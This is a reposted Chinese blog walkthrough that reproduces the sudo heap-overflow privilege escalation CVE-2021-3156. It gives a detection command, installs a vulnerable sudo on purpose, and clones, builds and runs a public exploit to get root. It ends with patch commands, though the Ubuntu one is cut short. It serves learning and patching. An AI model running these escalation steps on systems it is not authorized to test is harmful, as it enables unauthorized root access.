0


sudo堆缓冲区溢出提权漏洞(CVE-2021-3156)

0x01 漏洞描述


这个漏洞被披露于2021年1月26日。漏洞的载体是我们常用的sudo命令。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。

并非所有存在漏洞的Sudo版本都能利用成功,glibc>=2.27版本漏洞利用难度较小,低版本的glibc也能利用成功,只是漏洞利用难度增加。

关于Linux中的sudoer详解 - yanling0813 - 博客园

0x02 漏洞影响


sudo: 1.8.2 - 1.8.31p2

sudo: 1.9.0 - 1.9.5p1

0x03 环境准备


本次复现使用的 ubuntu 版本

uname -a

查看 sudo 版本

sudo --version

判断是否存在改漏洞

sudoedit -s /

返回 usage 开头的内容,表示该漏洞已经修复

返回 sudoedit 开头的内容,表示存在该漏洞

发现此版本不存在该漏洞,于是安装旧版本的sudo

使用以下命令来获取不同版本的sudo:

apt-cache madison sudo

安装存在该漏洞的版本:

sudo apt install sudo=1.8.31-1ubuntu1

安装完成,再次输入

sudoedit -s /

返回 sudoedit 说明存在该漏洞,环境准备OK

0x04 漏洞复现


  1. 从github上克隆exp
git clone https://github.com/blasty/CVE-2021-3156.git
  1. 切换到 CVE-2021-3156 目录下,make 编译之前需要安装make、gcc组件,命令依次分别为:
sudo apt install make
sudo apt install gcc
make

  1. ls 查看到目录下已经有了 sudo-hax-me-a-sandwich

  2. 执行以下命令,查看EXP支持的系统版本

./sudo-hax-me-a-sandwich

  1. 再次执行,根据版本选择,尝试提权
sudo ./sudo-hax-me-a-sandwich 1

输入whoami ,显示root ,提权成功。

疑问:看poc中显示执行提权操作时,可以不加sudo,但是我这边不加sudo就没有用;加了sudo才能成功,不清楚是为什么。有师傅知道的话麻烦给我解答一下疑惑,谢谢师傅们。

0x05 修复方式


1、源码编译安装最新Sudo软件包,下载链接为: https://www.sudo.ws/dist/

2、各Linux发行版参照以下命令进行升级解决:

CentOS/RHEL/Oracle Linux :

sudo yum update -y sudo

SUSE :

sudo zypper update -y sudo

Ubuntu/Debian :

sudo apt-get update && sudo apt-get

0x06 参考链接


https://blog.csdn.net/qq_42947816/article/details/123332692


本文转载自: https://blog.csdn.net/qq_43878255/article/details/128674580
版权归原作者 Ryan0102 所有, 如有侵权,请联系我们删除。

“sudo堆缓冲区溢出提权漏洞(CVE-2021-3156)”的评论:

还没有评论